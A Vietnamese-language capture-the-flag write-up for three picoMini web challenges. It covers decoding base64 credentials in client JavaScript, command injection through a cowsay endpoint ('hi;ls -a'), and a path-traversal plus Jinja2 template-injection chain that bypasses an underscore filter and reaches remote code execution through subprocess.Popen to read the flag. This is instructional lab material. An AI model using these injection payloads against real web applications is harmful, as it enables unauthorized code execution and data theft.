# \[Web]picoMini by redpwn

### login

Link chall: [https://login.mars.picoctf.net/](https://login.mars.picoctf.net/)

View source -> vào file `index.js` -> beauty code:

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_tDSC9DUXXHS7hjsDy%2F-M_tNk4CsaHOth6TOiqX%2Fimage.png?alt=media\&token=5ef465a8-422f-4675-a6c1-808ab83c254a)

Username và password có trong đây nhưng đang ở dưới dạng base64 encoded. Decode themm!!!

**Flag**: picoCTF{53rv3r\_53rv3r\_53rv3r\_53rv3r\_53rv3r}



### caas

Link chall: [https://caas.mars.picoctf.net/](https://caas.mars.picoctf.net/)

Bài này ta có nhận 1 file source:

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_tDSC9DUXXHS7hjsDy%2F-M_tOoIUpVKuE4eSWbde%2Fimage.png?alt=media\&token=7022f4cc-af24-4fcb-8515-fe0ca0c2c9f0)

Bài này truy cập endpoint `/cowsay/:message`, `message` request sẽ được truyền hàm vào `exec` và đồng thời là input thực thi bởi command `cowsay` của linux. Kết quả trả về sẽ là lỗi (nếu `:message` rỗng) hoặc text được in ra màn hình.

Dzô dziệc, **command injection:** `/cowsay/hi;ls -a`.

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_tDSC9DUXXHS7hjsDy%2F-M_tQh4gEf_ZP1z-0wRS%2Fimage.png?alt=media\&token=be6650f0-cfab-4570-b655-65ddf26fc593)

Đọc file `falg.txt`:

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-M_tDSC9DUXXHS7hjsDy%2F-M_tQrkNMX-QH7Df4leY%2Fimage.png?alt=media\&token=73adff7c-ced7-4b91-8fd9-85c5afc2ce71)

**FLAG**: picoCTF{moooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0o}

### notepad

Link chall: [https://notepad.mars.picoctf.net/](https://notepad.mars.picoctf.net/)

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MfG1phfeBixTyGt12_S%2F-MfILDqn7F1GpNSDcoGg%2Fimage.png?alt=media\&token=c133869b-87d0-4712-985c-ae524de9ec6f)

Ta nhận được 1 source code với 1 route nhận request như sau:

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MfG1phfeBixTyGt12_S%2F-MfILbnrlNwhJZz8vOq_%2Fimage.png?alt=media\&token=c486c39c-d542-4a35-96a5-a0d847e09f25)

`content` gửi lên không được chứa `_` và `/`. Độ dài không quá 512 ký tự. Ngược lại sẽ render render lên index.html với param `error`  như sau:

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MfG1phfeBixTyGt12_S%2F-MfITXi5Fs4t6Eux8kR4%2Fimage.png?alt=media\&token=61acb832-9cb2-4ce0-a100-05b0d2e14859)

Mình thử gửi `content` lỗi và phát hiện ra cái thú dzị:

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MfG1phfeBixTyGt12_S%2F-MfIapc-MqiTQs3mP5YI%2Fimage.png?alt=media\&token=d4aa4269-1fca-402d-ae9b-10c4cfb3f7bf)

Mình truyền cho param `error` gì thì index cũng sẽ render ra màn hình. Nhưng tên file error mình truyền vào không tồn tại nên không include nội dung được.

Đọc trong source kỹ 1 tí thì thấy `content` của mình truyền vào sẽ được lấy 128 ký tự đầu + token để làm tên file (sau khi url encode). Sau đó `content` được ghi vào file này và lưu vào `static/file_name.html`.

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MfG1phfeBixTyGt12_S%2F-MfIeuI6X9T1TvfWNE5N%2Fimage.png?alt=media\&token=5ce1b4ae-26d0-44af-a391-6f82c2bb8421)

**Ý tưởng**: kết hợp 2 phát hiện trên, `content` nhập vào sẽ **dẫn ra folder error** để tạo file ở đây và tại index mình truyền tên file vừa tạo vào để index **render nội dung file error** khai thác **server side template injection**.

**Thử nghiệm**:

Payload: `..\templates\errors\{{7*7}}` (ký tự `\` khi qua hàm `url_fix` sẽ thành `/` bypass filter)

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MfG1phfeBixTyGt12_S%2F-MfIhzPhVrglwULoMl4v%2Fimage.png?alt=media\&token=6b8e16ca-6919-4071-b235-808adc80439b)

404 vì folder này không có quyền access. Nhưng ta có thể access tại index như đã nói trên.

"Khoan, dừng khoảng chừng 2s". Tên file của mình (khoảng trước token) vừa tạo cần phải đem đi url encode 1 lần trước khi truyền vào param `error` bởi vì tên file sẽ bị decode trước khi include gây ra chuyện sai tên file.

`%7B%7B7*7%7D%7D` --> `%257B%257B7%2A7%257D%257D`

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MfG1phfeBixTyGt12_S%2F-MfIjUFUZR2qVUHgARBZ%2Fimage.png?alt=media\&token=e6cf7529-589e-4068-9c56-db1a95622b69)

Như vậy là đã thành công template injection!

> _Nhưng để tránh khá cực cho việc phải đi encode trước khi gọi thì mình có thể truyền vào đó 1 chuỗi ký tự độ dài khá dài (cho là 128 đi) để không vướng các ký tự đặc biệt bị encode._

**Thực hiện exploit**:

Tạo `content` \<path error> + 128 ký tự + "payload SSTI"

```python
content = "..\\templates\\errors\\" + "s" * 128 + "{{ config.items() }}"
print(content)
```

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MfG1phfeBixTyGt12_S%2F-MfIlF0SoJUc_i3Og53D%2Fimage.png?alt=media\&token=345a8c79-bcd6-41fc-a5ed-ece88b833f63)

Dán tên file (without `.html`) vào param `error`.

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MfG1phfeBixTyGt12_S%2F-MfIq09vm8bxnFZ0BIIK%2Fimage.png?alt=media\&token=b3d12da7-5127-4831-adcc-7c73a9bfc047)

Không lưu flag ở biến môi trường, vậy phải rce. Khó khăn ở đây là phải bypass ký tự `_`, trong lúc exploit SSTI không thể tránh call attribute có chứa các ký tự `_`.

Nhưng có cách khác để call attribute (ví dụ `__class__`) là gọi attribute theo kiểu mảng và truyền vào key theo phương thức truyền get request, ví dụ:

`{{''.__class__.__mro__}}` --> `{{''[request.args.get('class')].mro()}}`&#x20;

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MfG1phfeBixTyGt12_S%2F-MfIyHCbeeDiyuTSLA97%2Fimage.png?alt=media\&token=6d5c2121-86b6-4eb2-9fe9-da5512212843)

Như vậy thành công, mro trỏ index 1 và call subclasses để list classes có thể access và dùng.

Class mà mình cần để có thể rce server là `subprocess.Popen` có tồn tại (ước gì nếu là `subprocess.check_output` tuyệt vời biết mấy). Tiếp theo, call class này (call bằng index) và truyền arg command.

Việc khó khăn là tìm index của class này =)) nhưng Ctr+F tí xíu là ra: 273

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MfIyVixEulenTWkozHX%2F-MfJ3qtjLmHcwEXm2lqx%2Fimage.png?alt=media\&token=4f286c85-6f53-46cf-8c93-ce937e29b014)

Vì muốn in ra màn hình nhưng `popen` chỉ chỉ thực hiện chứ không in ra, mình tìm solution có vấn đề này khá lâu. Nhưng trong document có đề cập đại loại là flag `stdout` là **số âm** thì sẽ trả về buffer mặc định chuẩn io có thể đọc được (0: không trả về, 1: trả về byte,...)

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MfIyVixEulenTWkozHX%2F-MfJ8y9ukGDNp11XCNz_%2Fimage.png?alt=media\&token=1662720f-3dc7-436f-a6a5-7e42e15c65df)

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MfIyVixEulenTWkozHX%2F-MfJ9CocirpNFQpnItml%2Fimage.png?alt=media\&token=f240fcf1-0421-4bb7-85be-69f985678b66)

Sau một tỉ tỉ lần tìm và đọc thì payload chốt cuối cùng:

```python
{{ ''[request.args.get('class')].mro()[1][request.args.get('subclasses')]()[273](['ls'], stdout=-1).communicate() }}
```

![](https://505951426-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MU2nUAEHNSUPPDjO7Z8%2F-MfIyVixEulenTWkozHX%2F-MfJ9qdCtKYLg17XfaTW%2Fimage.png?alt=media\&token=471c4909-e606-4568-a1bc-6aadad843336)

Cat flag:

```python
{{ ''[request.args.get('class')].mro()[1][request.args.get('subclasses')]()[273](['cat', 'flag-c8f5526c-4122-4578-96de-d7dd27193798.txt'], stdout=-1).communicate() }}
```

**FLAG:** picoCTF{styl1ng\_susp1c10usly\_s1m1l4r\_t0\_p4steb1n}
